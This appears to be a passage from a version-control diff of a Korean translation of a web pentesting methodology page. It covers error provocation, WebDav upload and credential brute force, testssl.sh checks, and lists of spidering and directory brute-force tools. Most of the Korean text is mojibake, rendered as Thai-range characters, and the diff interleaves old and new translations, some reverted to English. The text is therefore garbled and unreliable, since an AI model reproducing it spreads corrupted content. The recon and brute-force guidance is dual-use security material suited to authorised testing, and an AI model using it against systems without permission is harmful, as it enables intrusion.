ํ•ฉ๋‹ˆ๋‹ค. ์šด์ด ์ข‹๋‹ค๋ฉด CMS๋ฅผ ์ฐพ๊ณ  ์Šค์บ๋„ˆ๋ฅผ ๋Œ๋ ธ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. +> ์ด ์‹œ์ ์—์„œ ์ด๋ฏธ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‚ฌ์šฉ ์ค‘์ธ ์›น ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ผ๋ถ€ ์ •๋ณด(๋ฐ์ดํ„ฐ๊ฐ€ ์ œ๊ณต๋œ ๊ฒฝ์šฐ)์™€ ํ…Œ์ŠคํŠธ ์ค‘ ์œ ์˜ํ•  ํŠธ๋ฆญ๋“ค์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์šด์ด ์ข‹๋‹ค๋ฉด CMS๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ  ์Šค์บ๋„ˆ๋ฅผ ์‹คํ–‰ํ–ˆ์„ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. -## ๋‹จ๊ณ„๋ณ„ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋ฐœ๊ฒฌ +## ๋‹จ๊ณ„๋ณ„ Web Application ๋ฐœ๊ฒฌ > ์ด์ œ๋ถ€ํ„ฐ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์ƒํ˜ธ์ž‘์šฉ์„ ์‹œ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ### ์ดˆ๊ธฐ ์ ๊ฒ€ -**์œ ์šฉํ•œ ์ •๋ณด๊ฐ€ ์žˆ๋Š” ๊ธฐ๋ณธ ํŽ˜์ด์ง€:** +**ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ๋‹ด๊ณ  ์žˆ๋Š” ๊ธฐ๋ณธ ํŽ˜์ด์ง€:** - /robots.txt - /sitemap.xml @@ -167,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /.well-known/ - ๋ฉ”์ธ ๋ฐ ๋ณด์กฐ ํŽ˜์ด์ง€์˜ ์ฃผ์„๋„ ํ™•์ธํ•˜์„ธ์š”. -**์˜ค๋ฅ˜ ์œ ๋ฐœ** +**์˜ค๋ฅ˜ ์œ ๋„** -์ด์ƒํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•˜๋ฉด ์›น ์„œ๋ฒ„๊ฐ€ **์˜ˆ์ƒ์น˜ ๋ชปํ•˜๊ฒŒ ๋™์ž‘ํ•  ์ˆ˜** ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” **์ทจ์•ฝ์ **์„ ์œ ๋ฐœํ•˜๊ฑฐ๋‚˜ **๋ฏผ๊ฐํ•œ ์ •๋ณด ๋…ธ์ถœ**๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์›น ์„œ๋ฒ„๋Š” ์ด์ƒํ•œ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ–ˆ์„ ๋•Œ **์˜ˆ์ƒ์น˜ ๋ชปํ•˜๊ฒŒ ๋™์ž‘**ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” **์ทจ์•ฝ์ **์„ ์—ด์–ด์ฃผ๊ฑฐ๋‚˜ **๋ฏผ๊ฐํ•œ ์ •๋ณด ๋…ธ์ถœ**์„ ์œ ๋ฐœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. - /whatever_fake.php (.aspx,.html,.etc) ๊ฐ™์€ **๊ฐ€์งœ ํŽ˜์ด์ง€**์— ์ ‘๊ทผ -- ์˜ค๋ฅ˜๋ฅผ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด **์ฟ ํ‚ค ๊ฐ’** ๋ฐ **ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’**์— "\[]", "]]", "\[[" ์ถ”๊ฐ€ -- **URL**์˜ **๋**์— **`/~randomthing/%s`** ๊ฐ™์€ ์ž…๋ ฅ์„ ์ฃผ์–ด ์˜ค๋ฅ˜ ์ƒ์„ฑ -- PATCH, DEBUG ๊ฐ™์€ ๋‹ค์–‘ํ•œ **HTTP Verbs**๋ฅผ ์‹œ๋„ํ•˜๊ฑฐ๋‚˜ FAKE ๊ฐ™์€ ์ž˜๋ชป๋œ verb ์‹œ๋„ +- **"\[]", "]]", ๋ฐ "\[["** ๋ฅผ **cookie values** ๋ฐ **parameter values**์— ์ถ”๊ฐ€ํ•˜์—ฌ ์˜ค๋ฅ˜ ์ƒ์„ฑ +- **URL**์˜ **๋**์— **`/~randomthing/%s`** ๊ฐ™์€ ์ž…๋ ฅ์„ ์ค˜์„œ ์˜ค๋ฅ˜ ์ƒ์„ฑ +- PATCH, DEBUG ๊ฐ™์€ **๋‹ค๋ฅธ HTTP Verbs**๋ฅผ ์‹œ๋„ํ•˜๊ฑฐ๋‚˜ FAKE ๊ฐ™์€ ์ž˜๋ชป๋œ ๊ฒƒ ์‹œ๋„ -#### **ํŒŒ์ผ ์—…๋กœ๋“œ ๊ฐ€๋Šฅ ์—ฌ๋ถ€ ํ™•์ธ (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **ํŒŒ์ผ ์—…๋กœ๋“œ ๊ฐ€๋Šฅ ์—ฌ๋ถ€ ํ™•์ธํ•˜๊ธฐ (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -**WebDav**๊ฐ€ **ํ™œ์„ฑํ™”**๋˜์–ด ์žˆ์ง€๋งŒ ๋ฃจํŠธ ํด๋”์— **ํŒŒ์ผ ์—…๋กœ๋“œ** ๊ถŒํ•œ์ด ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ๋‹ค์Œ์„ ์‹œ๋„ํ•˜์„ธ์š”: +WebDav๊ฐ€ **ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์ง€๋งŒ** ๋ฃจํŠธ ํด๋”์— **uploading files** ๊ถŒํ•œ์ด ์—†๋‹ค๋ฉด ๋‹ค์Œ์„ ์‹œ๋„ํ•˜์„ธ์š”: -- **Brute Force**๋กœ ์ž๊ฒฉ์ฆ๋ช… ์‹œ๋„ -- WebDav๋ฅผ ์ด์šฉํ•ด ์›น ํŽ˜์ด์ง€ ๋‚ด๋ถ€์— ๋ฐœ๊ฒฌ๋œ ๋‹ค๋ฅธ ํด๋”๋“ค์— **ํŒŒ์ผ ์—…๋กœ๋“œ** ์‹œ๋„. ๋‹ค๋ฅธ ํด๋”์—๋Š” ์—…๋กœ๋“œ ๊ถŒํ•œ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- **Brute Force**๋กœ ์ž๊ฒฉ์ฆ๋ช… ๊ณต๊ฒฉ +- WebDav๋ฅผ ํ†ตํ•ด ์›น ํŽ˜์ด์ง€ ๋‚ด์—์„œ ๋ฐœ๊ฒฌ๋œ **๋‹ค๋ฅธ ํด๋”๋“ค(rest of found folders)**์— **Upload files**. ๋‹ค๋ฅธ ํด๋”์—๋Š” ์—…๋กœ๋“œ ๊ถŒํ•œ์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ### **SSL/TLS ์ทจ์•ฝ์ ** -- ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์–ด๋А ๋ถ€๋ถ„์—์„œ๋„ HTTPS ์‚ฌ์šฉ์„ **๊ฐ•์ œํ•˜์ง€ ์•Š์œผ๋ฉด**, MitM์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. -- ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ(๋น„๋ฐ€๋ฒˆํ˜ธ)๋ฅผ HTTP๋กœ ์ „์†ก**ํ•˜๋ฉด ๋†’์€ ์‹ฌ๊ฐ๋„์˜ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. +- ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์–ด๋А ๋ถ€๋ถ„์—์„œ๋„ **HTTPS ์‚ฌ์šฉ์„ ๊ฐ•์ œํ•˜์ง€ ์•Š์œผ๋ฉด**, MitM์— ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค. +- ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด **HTTP**๋กœ ๋ฏผ๊ฐํ•œ ๋ฐ์ดํ„ฐ(๋น„๋ฐ€๋ฒˆํ˜ธ)๋ฅผ ์ „์†กํ•˜๋ฉด ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค. -์ทจ์•ฝ์  ์ ๊ฒ€์„ ์œ„ํ•ด [**testssl.sh**](https://github.com/drwetter/testssl.sh)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š” (Bug Bounty ํ”„๋กœ๊ทธ๋žจ์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์ข…๋ฅ˜์˜ ์ทจ์•ฝ์ ์ด ์ˆ˜์šฉ๋˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). ์ทจ์•ฝ์ ์„ ์žฌํ™•์ธํ•˜๋ ค๋ฉด [**a2sv**](https://github.com/hahwul/a2sv)๋ฅผ ์‚ฌ์šฉํ•˜์„ธ์š”: +[**testssl.sh**](https://github.com/drwetter/testssl.sh)๋ฅผ ์‚ฌ์šฉํ•ด **์ทจ์•ฝ์ **์„ ํ™•์ธํ•˜๊ณ  (Bug Bounty ํ”„๋กœ๊ทธ๋žจ์—์„œ๋Š” ์ด๋Ÿฌํ•œ ์œ ํ˜•์˜ ์ทจ์•ฝ์ ์ด ์ธ์ •๋˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค) [**a2sv**](https://github.com/hahwul/a2sv)๋ฅผ ์‚ฌ์šฉํ•ด ์ทจ์•ฝ์ ์„ ์žฌ๊ฒ€ํ† ํ•˜์„ธ์š”: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -204,53 +203,53 @@ Information about SSL/TLS vulnerabilities: ### Spidering -์›น ๋‚ด๋ถ€์—์„œ ์–ด๋–ค ํ˜•ํƒœ์˜ **spider**๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. **spider**์˜ ๋ชฉ์ ์€ ํ…Œ์ŠคํŠธ ๋Œ€์ƒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๊ฐ€๋Šฅํ•œ ํ•œ ๋งŽ์€ ๊ฒฝ๋กœ๋ฅผ ์ฐพ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์›น ํฌ๋กค๋ง๊ณผ ์™ธ๋ถ€ ์†Œ์Šค๋ฅผ ์‚ฌ์šฉํ•ด ๊ฐ€๋Šฅํ•œ ๋งŽ์€ ์œ ํšจํ•œ ๊ฒฝ๋กœ๋ฅผ ํ™•๋ณดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. +์›น ๋‚ด๋ถ€์— ์–ด๋–ค ํ˜•ํƒœ๋“  **spider**๋ฅผ ์‹คํ–‰ํ•˜์„ธ์š”. spider์˜ ๋ชฉํ‘œ๋Š” ํ…Œ์ŠคํŠธ ์ค‘์ธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ๊ฐ€๋Šฅํ•œ ํ•œ ๋งŽ์€ ๊ฒฝ๋กœ๋ฅผ **์ฐพ๋Š” ๊ฒƒ**์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์›น ํฌ๋กค๋ง๊ณผ ์™ธ๋ถ€ ์†Œ์Šค๋ฅผ ์‚ฌ์šฉํ•ด ๊ฐ€๋Šฅํ•œ ๋งŽ์€ ์œ ํšจํ•œ ๊ฒฝ๋กœ๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS ํŒŒ์ผ ๋‚ด LinkFinder ๋ฐ ์™ธ๋ถ€ ์†Œ์Šค(Archive.org, CommonCrawl.org, VirusTotal.com)๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS ํŒŒ์ผ์šฉ LinkFinder์™€ Archive.org๋ฅผ ์™ธ๋ถ€ ์†Œ์Šค๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider๋กœ "juicy files"๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค. -- [**evine** ](https://github.com/saeeddhqan/evine)(go): ๋Œ€ํ™”ํ˜• CLI HTML spider. Archive.org์—์„œ๋„ ๊ฒ€์ƒ‰ํ•ฉ๋‹ˆ๋‹ค. -- [**meg**](https://github.com/tomnomnom/meg) (go): ์ด ๋„๊ตฌ๋Š” strictํ•œ ์˜๋ฏธ์˜ spider๋Š” ์•„๋‹ˆ์ง€๋งŒ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. hosts ํŒŒ์ผ๊ณผ paths ํŒŒ์ผ์„ ์ง€์ •ํ•˜๋ฉด meg๊ฐ€ ๊ฐ ํ˜ธ์ŠคํŠธ์˜ ๊ฐ ๊ฒฝ๋กœ๋ฅผ ๊ฐ€์ ธ์™€ ์‘๋‹ต์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS ๋ Œ๋”๋ง ๊ธฐ๋Šฅ์ด ์žˆ๋Š” HTML spider. ๋‹ค๋งŒ ์œ ์ง€๋ณด์ˆ˜๊ฐ€ ๋˜์ง€ ์•Š๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๋ฉฐ, ์‚ฌ์ „ ์ปดํŒŒ์ผ๋œ ๋ฒ„์ „์€ ์˜ค๋ž˜๋˜์—ˆ๊ณ  ํ˜„์žฌ ์ฝ”๋“œ๋Š” ์ปดํŒŒ์ผ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. -- [**gau**](https://github.com/lc/gau) (go): wayback, otx, commoncrawl ๊ฐ™์€ ์™ธ๋ถ€ ์ œ๊ณต์ž๋ฅผ ์‚ฌ์šฉํ•˜๋Š” HTML spider์ž…๋‹ˆ๋‹ค. -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์žˆ๋Š” URL์„ ์ฐพ์•„ ๋‚˜์—ดํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. -- [**galer**](https://github.com/dwisiswant0/galer) (go): JS ๋ Œ๋”๋ง ๊ธฐ๋Šฅ์ด ์žˆ๋Š” HTML spider์ž…๋‹ˆ๋‹ค. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS ํŒŒ์ผ์—์„œ ์ƒˆ ๊ฒฝ๋กœ๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” JS beautify ๊ธฐ๋Šฅ์„ ๊ฐ–์ถ˜ HTML spider. LinkFinder์˜ ๋ž˜ํผ์ธ [JSScanner](https://github.com/dark-warlord14/JSScanner)๋„ ์‚ดํŽด๋ณผ ๊ฐ€์น˜๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML ์†Œ์Šค์™€ ์ž„๋ฒ ๋””๋“œ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ํŒŒ์ผ์—์„œ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. ๋ฒ„๊ทธ ํ—Œํ„ฐ, ๋ ˆ๋“œํŒ€, ์ธํฌ์„น ์ „๋ฌธ๊ฐ€์—๊ฒŒ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado์™€ JSBeautifier๋ฅผ ์‚ฌ์šฉํ•ด JavaScript ํŒŒ์ผ์—์„œ ์ƒ๋Œ€ URL์„ ํŒŒ์‹ฑํ•˜๋Š” ํŒŒ์ด์ฌ 2.7 ์Šคํฌ๋ฆฝํŠธ์ž…๋‹ˆ๋‹ค. AJAX ์š”์ฒญ์„ ์‰ฝ๊ฒŒ ๋ฐœ๊ฒฌํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์œ ์ง€๋ณด์ˆ˜๋˜์ง€ ์•Š๋Š” ๊ฒƒ์œผ๋กœ ๋ณด์ž…๋‹ˆ๋‹ค. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): HTML ํŒŒ์ผ์„ ์ž…๋ ฅํ•˜๋ฉด ์ •๊ทœ์‹์„ ์‚ฌ์šฉํ•ด ๋‚œ๋…ํ™”(์••์ถ•)๋œ ํŒŒ์ผ์—์„œ ์ƒ๋Œ€ URL์„ ์ถ”์ถœํ•ฉ๋‹ˆ๋‹ค. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): ์—ฌ๋Ÿฌ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•ด JS ํŒŒ์ผ์—์„œ ํฅ๋ฏธ๋กœ์šด ์ •๋ณด๋ฅผ ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. -- [**subjs**](https://github.com/lc/subjs) (go): JS ํŒŒ์ผ์„ ์ฐพ์Šต๋‹ˆ๋‹ค. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): ํ—ค๋“œ๋ฆฌ์Šค ๋ธŒ๋ผ์šฐ์ €๋กœ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๊ณ  ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋œ ๋ชจ๋“  URL์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): ์ด์ „ ๋„๊ตฌ๋“ค์˜ ์—ฌ๋Ÿฌ ์˜ต์…˜์„ ํ˜ผํ•ฉํ•œ ์ฝ˜ํ…์ธ  ๋ฐœ๊ฒฌ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS ํŒŒ์ผ์—์„œ ๊ฒฝ๋กœ์™€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฐพ๋Š” Burp ํ™•์žฅ์ž…๋‹ˆ๋‹ค. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL์ด ์ฃผ์–ด์ง€๋ฉด beautified JS ์ฝ”๋“œ๋ฅผ ๊ฐ€์ ธ์˜ค๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): ์ฃผ์–ด์ง„ ๋Œ€์ƒ์˜ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐœ๊ฒฌํ•˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machine์—์„œ ๋งํฌ๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ณ (์‘๋‹ต์„ ๋‹ค์šด๋กœ๋“œํ•˜๊ณ  ๋” ๋งŽ์€ ๋งํฌ๋ฅผ ์ฐพ์Œ) ์ˆ˜์ง‘ํ•ฉ๋‹ˆ๋‹ค. -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): ํผ ์ฑ„์šฐ๊ธฐ๊นŒ์ง€ ํฌํ•จํ•œ ํฌ๋กค๋ง์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ํŠน์ • ์ •๊ทœ์‹์œผ๋กœ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ ์ฐพ์•„๋ƒ…๋‹ˆ๋‹ค. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€์šฉ์œผ๋กœ ์„ค๊ณ„๋œ ๊ณ ๊ธ‰ ๋‹ค๊ธฐ๋Šฅ GUI ์›น ๋ณด์•ˆ ํฌ๋กค๋Ÿฌ/์ŠคํŒŒ์ด๋”์ž…๋‹ˆ๋‹ค. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript ์†Œ์Šค ์ฝ”๋“œ์—์„œ URL, ๊ฒฝ๋กœ, ๋น„๋ฐ€ ๋ฐ ๊ธฐํƒ€ ํฅ๋ฏธ๋กœ์šด ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•˜๋Š” Go ํŒจํ‚ค์ง€์ด์ž [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)์ž…๋‹ˆ๋‹ค. -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ์š”์ฒญ์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐ์™€ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ถ”์ถœํ•˜์—ฌ fuzzing ๋ฐ ์—ด๊ฑฐ์šฉ ์ปค์Šคํ…€ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฐ„๋‹จํ•œ **Burp Suite extension**์ž…๋‹ˆ๋‹ค. -- [**katana**](https://github.com/projectdiscovery/katana) (go): ์ด ๋ชฉ์ ์— ์•„์ฃผ ์ข‹์€ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -- [**Crawley**](https://github.com/s0rg/crawley) (go): ์ฐพ์„ ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๋งํฌ๋ฅผ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files". +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org +- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile +- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl) +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them. +- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools. +- [**subjs**](https://github.com/lc/subjs) (go): Find JS files. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code. +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration. +- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find. ### Brute Force directories and files -๋ฃจํŠธ ํด๋”์—์„œ **brute-forcing**์„ ์‹œ์ž‘ํ•˜๊ณ , ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ๋ฐœ๊ฒฌ๋œ ๋ชจ๋“  ๋””๋ ‰ํ„ฐ๋ฆฌ์™€ **Spidering**์œผ๋กœ ๋ฐœ๊ฒฌ๋œ ๋ชจ๋“  ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋ฐ˜๋“œ์‹œ brute-force ํ•˜์„ธ์š”(์ด ๊ณผ์ •์„ ์žฌ๊ท€์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๊ณ , ์‚ฌ์šฉ ์ค‘์ธ ์›Œ๋“œ๋ฆฌ์ŠคํŠธ ์•ž๋ถ€๋ถ„์— ๋ฐœ๊ฒฌํ•œ ๋””๋ ‰ํ„ฐ๋ฆฌ ์ด๋ฆ„์„ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค). +๋ฃจํŠธ ํด๋”์—์„œ **brute-forcing**์„ ์‹œ์ž‘ํ•˜๊ณ , **์ด ๋ฐฉ๋ฒ•**์œผ๋กœ ์ฐพ์€ ๋ชจ๋“  ๋””๋ ‰ํ† ๋ฆฌ์™€ Spidering์œผ๋กœ **๋ฐœ๊ฒฌ๋œ ๋ชจ๋“  ๋””๋ ‰ํ† ๋ฆฌ**๋ฅผ ๋ฐ˜๋“œ์‹œ brute-forceํ•˜์„ธ์š” (์ด ๊ณผ์ •์„ **์žฌ๊ท€์ ์œผ๋กœ** ์ˆ˜ํ–‰ํ•˜๊ณ  ์‚ฌ์šฉํ•œ wordlist์˜ ์•ž๋ถ€๋ถ„์— ๋ฐœ๊ฒฌํ•œ ๋””๋ ‰ํ† ๋ฆฌ ์ด๋ฆ„์„ ์ถ”๊ฐ€ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค).\ ๋„๊ตฌ: -- **Dirb** / **Dirbuster** - Kali์— ํฌํ•จ๋˜์–ด ์žˆ์œผ๋ฉฐ **old**(๊ทธ๋ฆฌ๊ณ  **slow**)ํ•˜์ง€๋งŒ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ž์ฒด ์„œ๋ช…๋œ ์ธ์ฆ์„œ๋ฅผ ํ—ˆ์šฉํ•˜๊ณ  ์žฌ๊ท€ ๊ฒ€์ƒ‰์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋ฅธ ์˜ต์…˜๋“ค์— ๋น„ํ•ด ๋„ˆ๋ฌด ๋А๋ฆฝ๋‹ˆ๋‹ค. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: ์ž์ฒด ์„œ๋ช…๋œ ์ธ์ฆ์„œ๋ฅผ ํ—ˆ์šฉํ•˜์ง€ ์•Š์ง€๋งŒ** ์žฌ๊ท€ ๊ฒ€์ƒ‰์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): ์ž์ฒด ์„œ๋ช…๋œ ์ธ์ฆ์„œ๋ฅผ ํ—ˆ์šฉํ•˜๋ฉฐ, **recursive** ๊ฒ€์ƒ‰์€ ์ง€์›ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. +- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive 